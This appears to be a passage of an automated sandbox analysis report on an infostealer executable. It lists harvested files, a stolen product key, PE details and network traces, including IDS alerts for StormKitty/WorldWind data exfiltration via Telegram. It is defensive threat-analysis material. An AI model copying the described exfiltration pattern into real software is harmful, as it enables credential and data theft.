SHA-512:	DBB9ABE70F8A781D141A71651A62A3A743C71A75A8305E9D23AF92F7307FB639DC4A85499115885E2A781B040CBB7613F582544C2D6DE521E588531E9C294B05
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.4.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20375
Entropy (8bit):	5.731336475773277
Encrypted:	false
SSDEEP:	96:yqkVkgkiNukxk6qymujKS4c6Ycwx7Hk0k7fckij/t0Jxek1kfHPkHkPVjjkEkEkR:yhL9tkGDLDnq9vM464kpx2
MD5:	49612951457F4A0E820F54AEABB15AB5
SHA1:	70A11C1FB096B433CCBBA31093784015A8F722B6
SHA-256:	561E84CCCF1D9EEFBF8882F423C7F3BAA01BB2EE5A400C8FDC5DB854A66DEAAA
SHA-512:	BA1BA1FEE509E21762B0921AEBB10ED7C1ECDED90C67DE2CA36572F72A8C7BA052365EE5C6560A24E94DAB0B10B02D5C8FC77278F1D2283F710FD815EF2F84A0
Malicious:	false
Preview:	NAME: svchost..PID: 2584..EXE: C:\Windows\system32\svchost.exe..NAME: THUdlIuBGqsUa..PID: 5940..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: THUdlIuBGqsUa..PID: 3440..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: THUdlIuBGqsUa..PID: 6024..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: THUdlIuBGqsUa..PID: 6884..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: svchost..PID: 3520..EXE: C:\Windows\system32\svchost.exe..NAME: csrss..PID: 412..EXE: ..NAME: SgrmBroker..PID: 1176..EXE: ..NAME: Memory Compression..PID: 1568..EXE: ..NAME: THUdlIuBGqsUa..PID: 5144..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NA

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.073329701949522
Encrypted:	false
SSDEEP:	3:SoI2xlIyf0n:SoIWlIQO
MD5:	5B13A01ECAA825490ED562699DBED985
SHA1:	5CDBE2B349E9FF6FC4DFC962D1942D1180BEC878
SHA-256:	07E0151E6EFF57383045FF016812A1A095BDF815192BECBBA230335EDC1C43FD
SHA-512:	F36ECB349BC5632FBDAA3839CB20AFB1580061480395A239100B5DAA92FB442335A10A8D089DCA9EE045A1AA80006943924EAA3652FB563D1170C4948EE04DBA
Malicious:	false
Preview:	K8XNC-4HYGT-4T2X2-WMF3M-BQBDT

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\System\ScanningNetworks.txt

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6630509827051725
Encrypted:	false
SSDEEP:	3:PHsEiVboFkaQXMtS1ME/M2en:PsEwYVQXOS1TUn
MD5:	58CD2334CFC77DB470202487D5034610
SHA1:	61FA242465F53C9E64B3752FE76B2ADCCEB1F237
SHA-256:	59B3120C5CE1A7D1819510272A927E1C8F1C95385213FCCBCDD429FF3492040D
SHA-512:	C8F52D85EC99177C722527C306A64BA61ADC3AD3A5FEC6D87749FBAD12DA424BA6B34880AB9DA627FB183412875F241E1C1864D723E62130281E44C14AD1481E
Malicious:	false
Preview:	Active code page: 65001..The Wireless AutoConfig Service (wlansvc) is not running...

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17178
Entropy (8bit):	5.667865292437196
Encrypted:	false
SSDEEP:	96:Yu/xZybjdkVH/DotA/cXFUWfvOoYkgPPesSP2W1xRdSCffqATB4/OBXDcLlZ1Wea:9y
MD5:	BE1A8752D640387C114CEA98405422D3
SHA1:	8F0ED5FBDF071309BE1FF7C9D3DC2C786413D7D1
SHA-256:	DC42CBAA5B575D0A4344D6B6508F8A7004DE1B313D8EC9C467F54313E5D3A107
SHA-512:	A18C203BEC84A5891E21A6537D9149840F2E44EC927065E617D4BADD0D6E3D5BAB2331D0140B1D074E9F90131649DF57FF7E297F97EFD6151F9AAB1FAB1687C8
Malicious:	false
Preview:	NAME: THUdlIuBGqsUa..TITLE: New Tab - Google Chrome..PID: 5940..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: THUdlIuBGqsUa..TITLE: New Tab - Google Chrome..PID: 3440..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: THUdlIuBGqsUa..TITLE: New Tab - Google Chrome..PID: 6024..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: THUdlIuBGqsUa..TITLE: New Tab - Google Chrome..PID: 6884..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: THUdlIuBGqsUa..TITLE: New Tab - Google Chrome..PID: 5144..EXE: C:\Program Files (x86)\qwrLbLvsHqFqslHkONoQyTjeIzROHPmRaJYoXbnQexrcvyIIrBbxZiHFSPxtXAnJiLDonENM\THUdlIuBGqsUa.exe..NAME: THUdlIuBGqsUa..TITLE: New Tab - Google Chrome..PID: 3848..EXE: C:\Program

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\System\WorldWind.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	85732
Entropy (8bit):	7.8474746625326555
Encrypted:	false
SSDEEP:	1536:Cp8VNFP4/fP1XLdH2mAYnUp2RW4sEURj9lANI01faoB5xoqbB2KAAjVDTYENkDDh:O2NR4/fdXLdHdSpXeU7+IEfjBcqbvjqZ
MD5:	DA2A5C11B2380C6B182B4B2AC7716553
SHA1:	B6432B9E48A40ACFFABDDBDC806D646385E4573D
SHA-256:	47D6BA46C0C90A7A1F6481C5FE94ACAD7531F05A9ABE8F5C72D67C29335E90E8
SHA-512:	6A0453E121EBF98129F4896B65DD5AEFD61246122784FFFA73288BFEF8B78F999217B62EA4889A5E6EB0027638F27998549B63A857D745A59B63D6EEBAC1041A
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..<.t..A...#'..N>.._.u.......^y.[......1..].+..B....%?........r.....{f`.'(Xw...&e.......Q...8X.V..._.^.(..(...&(.........k.._:U.d..2.v..G..\^)a.........Q.......?.A.9..@...'...G. .....w.G.....;.n..3...W...:<r.]...yl......6A

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.8967834038590885
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	cOH7jKmo25.exe
File size:	179'200 bytes
MD5:	f69889d705f5d72d65661b48535ae1b3
SHA1:	4c8f3cf14130e6519339a370bba4527ecb012cde
SHA256:	153a321e178bc28e0f2c6432763bb44fc47b573596387ec241ca45d8775e12af
SHA512:	a182272541b22dd58d44db506f0c3368fd0e54d0e616d48b6980563eb12d8d9a377bb0d0272c0c2576d36359f10367e27043d3c3106e5d985be0843112fedb3d
SSDEEP:	3072:Ke8p6ewdOIwQx76vK/bvTv0cU+lL/dMlZZUZ0b2gT8wARE+WpCc:66ewwIwQJ6vKX0c5MlYZ0b2R
TLSH:	3F045B5837D80A15F3BE5FB8F4B012118B75B477AA1AE75F08E920EE0D62351E911FA3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.g................................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x42d1be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x671A3F87 [Thu Oct 24 12:37:27 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d16c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2b1c4	0x2b200	3294ae4070f72ea38efc47b34affdf14	False	0.46042798913043476	data	5.924259553322092	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2e000	0x600	0x600	ccd2ec796af2f339686e45e5513c2caf	False	0.4140625	data	4.029504312109572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x30000	0xc	0x200	8e19c1ec6db51c8435749ecf42a022c8	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2e0a0	0x30c	data			0.4269230769230769
RT_MANIFEST	0x2e3ac	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:53:50.405005+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.9	49796	149.154.167.220	443	TCP
2025-01-10T23:53:50.405005+0100	2031009	ET MALWARE StormKitty Data Exfil via Telegram	1	192.168.2.9	49796	149.154.167.220	443	TCP
2025-01-10T23:53:50.405005+0100	2044766	ET MALWARE WorldWind Stealer Checkin via Telegram (GET)	1	192.168.2.9	49796	149.154.167.220	443	TCP
2025-01-10T23:53:51.476326+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49806	149.154.167.220	443	TCP
2025-01-10T23:53:51.476326+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.9	49806	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:53:48.195089102 CET	49788	80	192.168.2.9	104.16.184.241
Jan 10, 2025 23:53:48.199872971 CET	80	49788	104.16.184.241	192.168.2.9
Jan 10, 2025 23:53:48.200026035 CET	49788	80	192.168.2.9	104.16.184.241
Jan 10, 2025 23:53:48.200845003 CET	49788	80	192.168.2.9	104.16.184.241
Jan 10, 2025 23:53:48.205625057 CET	80	49788	104.16.184.241	192.168.2.9
Jan 10, 2025 23:53:48.670387030 CET	80	49788	104.16.184.241	192.168.2.9
Jan 10, 2025 23:53:48.719059944 CET	49788	80	192.168.2.9	104.16.184.241
Jan 10, 2025 23:53:48.729649067 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:48.729681015 CET	443	49794	104.21.44.66	192.168.2.9
Jan 10, 2025 23:53:48.729783058 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:48.738729000 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:48.738744020 CET	443	49794	104.21.44.66	192.168.2.9
Jan 10, 2025 23:53:49.213663101 CET	443	49794	104.21.44.66	192.168.2.9
Jan 10, 2025 23:53:49.214361906 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:49.217227936 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:49.217233896 CET	443	49794	104.21.44.66	192.168.2.9
Jan 10, 2025 23:53:49.217531919 CET	443	49794	104.21.44.66	192.168.2.9
Jan 10, 2025 23:53:49.266024113 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:49.267354965 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:49.311321974 CET	443	49794	104.21.44.66	192.168.2.9
Jan 10, 2025 23:53:49.379203081 CET	443	49794	104.21.44.66	192.168.2.9
Jan 10, 2025 23:53:49.379440069 CET	443	49794	104.21.44.66	192.168.2.9
Jan 10, 2025 23:53:49.379590988 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:49.407016993 CET	49794	443	192.168.2.9	104.21.44.66
Jan 10, 2025 23:53:49.411209106 CET	49788	80	192.168.2.9	104.16.184.241
Jan 10, 2025 23:53:49.416201115 CET	80	49788	104.16.184.241	192.168.2.9
Jan 10, 2025 23:53:49.417697906 CET	49788	80	192.168.2.9	104.16.184.241
Jan 10, 2025 23:53:49.423576117 CET	49796	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:49.423604012 CET	443	49796	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:49.423676014 CET	49796	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:49.427696943 CET	49796	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:49.427711964 CET	443	49796	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:50.046201944 CET	443	49796	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:50.046298981 CET	49796	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:50.048528910 CET	49796	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:50.048542023 CET	443	49796	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:50.048856974 CET	443	49796	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:50.050400019 CET	49796	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:50.050437927 CET	443	49796	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:50.405045033 CET	443	49796	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:50.405128956 CET	443	49796	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:50.405381918 CET	49796	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:50.410713911 CET	49796	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:50.422110081 CET	49806	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:50.422159910 CET	443	49806	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:50.422257900 CET	49806	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:50.422555923 CET	49806	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:50.422580004 CET	443	49806	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:51.050446987 CET	443	49806	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:51.052253008 CET	49806	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:51.052293062 CET	443	49806	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:51.476339102 CET	443	49806	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:51.476418972 CET	443	49806	149.154.167.220	192.168.2.9
Jan 10, 2025 23:53:51.476490021 CET	49806	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:53:51.477318048 CET	49806	443	192.168.2.9	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:53:48.118321896 CET	50846	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:53:48.126135111 CET	53	50846	1.1.1.1	192.168.2.9
Jan 10, 2025 23:53:48.183306932 CET	49520	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:53:48.189991951 CET	53	49520	1.1.1.1	192.168.2.9
Jan 10, 2025 23:53:48.719443083 CET	56850	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:53:48.728873968 CET	53	56850	1.1.1.1	192.168.2.9
Jan 10, 2025 23:53:49.410516024 CET	55481	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:53:49.417571068 CET	53	55481	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:53:48.118321896 CET	192.168.2.9	1.1.1.1	0xf83b	Standard query (0)	158.157.4.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 23:53:48.183306932 CET	192.168.2.9	1.1.1.1	0x6652	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:53:48.719443083 CET	192.168.2.9	1.1.1.1	0xccd4	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:53:49.410516024 CET	192.168.2.9	1.1.1.1	0xcacb	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:53:48.126135111 CET	1.1.1.1	192.168.2.9	0xf83b	Name error (3)	158.157.4.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 10, 2025 23:53:48.189991951 CET	1.1.1.1	192.168.2.9	0x6652	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:53:48.189991951 CET	1.1.1.1	192.168.2.9	0x6652	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:53:48.728873968 CET	1.1.1.1	192.168.2.9	0xccd4	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:53:48.728873968 CET	1.1.1.1	192.168.2.9	0xccd4	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:53:49.417571068 CET	1.1.1.1	192.168.2.9	0xcacb	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

api.telegram.org

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49788	104.16.184.241	80	7540	C:\Users\user\Desktop\cOH7jKmo25.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:53:48.200845003 CET	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
